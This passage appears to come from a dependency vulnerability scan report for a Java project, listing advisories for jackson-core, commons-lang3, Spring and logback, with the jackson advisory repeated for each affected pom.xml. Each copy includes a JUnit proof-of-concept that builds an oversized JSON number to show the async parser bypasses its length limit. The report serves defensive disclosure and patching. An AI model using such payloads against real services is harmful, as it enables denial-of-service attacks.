1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.
### Suggested Remediation
The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.
**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Reference: https://github.com/advisories/GHSA-72hv-8253-57qq
CVE-2025-48924 - org.apache.commons:commons-lang3
Severity: MEDIUM
Installed Version: 3.8.1
Fixed Version: 3.18.0
Target: engine-rest/engine-rest-openapi-generator/pom.xml
Title: Uncontrolled Recursion vulnerability in Apache Commons Lang. This iss ...
Description:
Uncontrolled Recursion vulnerability in Apache Commons Lang.
This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0.
The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a
StackOverflowError could cause an application to stop.
Users are recommended to upgrade to version 3.18.0, which fixes the issue.
Reference: https://avd.aquasec.com/nvd/cve-2025-48924
GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core
Severity: MEDIUM
Installed Version: 2.15.2
Fixed Version: 2.21.1, 2.18.6
Target: engine-rest/engine-rest/pom.xml
Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.
### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
```java
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
```
### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.
### Suggested Remediation
The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.
**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Reference: https://github.com/advisories/GHSA-72hv-8253-57qq
GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core
Severity: MEDIUM
Installed Version: 2.15.2
Fixed Version: 2.21.1, 2.18.6
Target: engine-rest/pom.xml
Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.
### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
```java
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
```
### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.
### Suggested Remediation
The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.
**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Reference: https://github.com/advisories/GHSA-72hv-8253-57qq
GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core
Severity: MEDIUM
Installed Version: 2.15.2
Fixed Version: 2.21.1, 2.18.6
Target: engine-rest/pom.xml
Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.
### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
```java
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
```
### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.
### Suggested Remediation
The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.
**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Reference: https://github.com/advisories/GHSA-72hv-8253-57qq
GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core
Severity: MEDIUM
Installed Version: 2.15.2
Fixed Version: 2.21.1, 2.18.6
Target: engine-rest/pom.xml
Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.
### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
```java
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
```
### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.
### Suggested Remediation
The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.
**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Reference: https://github.com/advisories/GHSA-72hv-8253-57qq
CVE-2025-48924 - org.apache.commons:commons-lang3
Severity: MEDIUM
Installed Version: 3.8.1
Fixed Version: 3.18.0
Target: engine-rest/pom.xml
Title: Uncontrolled Recursion vulnerability in Apache Commons Lang. This iss ...
Description:
Uncontrolled Recursion vulnerability in Apache Commons Lang.
This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0.
The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a
StackOverflowError could cause an application to stop.
Users are recommended to upgrade to version 3.18.0, which fixes the issue.
Reference: https://avd.aquasec.com/nvd/cve-2025-48924
CVE-2024-38820 - org.springframework:spring-context
Severity: MEDIUM
Installed Version: 5.3.39
Fixed Version: 6.1.14
Target: qa/integration-tests-engine/pom.xml
Title: The fix for CVE-2022-22968 made disallowedFieldspatterns in DataBinder ...
Description:
The fix for CVE-2022-22968 made disallowedFields patterns in DataBinder case insensitive. However, String.toLowerCase() has some Locale dependent exceptions that could potentially result in fields not protected as expected.
Reference: https://avd.aquasec.com/nvd/cve-2024-38820
CVE-2024-38820 - org.springframework:spring-web
Severity: MEDIUM
Installed Version: 5.3.39
Fixed Version: 6.1.14
Target: qa/integration-tests-engine/pom.xml
Title: The fix for CVE-2022-22968 made disallowedFieldspatterns in DataBinder ...
Description:
The fix for CVE-2022-22968 made disallowedFields patterns in DataBinder case insensitive. However, String.toLowerCase() has some Locale dependent exceptions that could potentially result in fields not protected as expected.
Reference: https://avd.aquasec.com/nvd/cve-2024-38820
CVE-2024-12798 - ch.qos.logback:logback-core
Severity: MEDIUM
Installed Version: 1.2.11
Fixed Version: 1.5.13, 1.3.15
Target: qa/performance-tests-engine/pom.xml
Title: ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core ...
Description:
ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core
upto including version 0.1 to 1.3.14 and 1.4.0 to 1.5.12 in Java applications allows
attacker to execute arbitrary code by compromising an existing
logback configuration file or by injecting an environment variable
before program execution.
Malicious logback configuration files can allow the attacker to execute
arbitrary code using the JaninoEventEvaluator extension.
A successful attack requires the user to have write access to a
configuration file. Alternatively, the attacker could inject a malicious
environment variable pointing to a malicious configuration file. In both
cases, the attack requires existing privilege.
Reference: https://avd.aquasec.com/nvd/cve-2024-12798
CVE-2025-11226 - ch.qos.logback:logback-core
Severity: MEDIUM
Installed Version: 1.2.11
Fixed Version: 1.5.19, 1.3.16
Target: qa/performance-tests-engine/pom.xml
Title: QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing
Description:
ACE vulnerability in conditional configuration file processing by QOS.CH logback-core up to and including version 1.5.18 in Java applications, allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution.
A successful attack requires the presence of Janino library and Spring Framework to be present on the user's class path. In addition, the attacker must have write access to a
configuration file. Alternatively, the attacker could inject a malicious
environment variable pointing to a malicious configuration file. In both
cases, the attack requires existing privilege.
Reference: https://avd.aquasec.com/nvd/cve-2025-11226
GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core
Severity: MEDIUM
Installed Version: 2.15.2
Fixed Version: 2.21.1, 2.18.6
Target: spin/dataformat-json-jackson/pom.xml
Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.
### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
```java
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
```
### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.
### Suggested Remediation
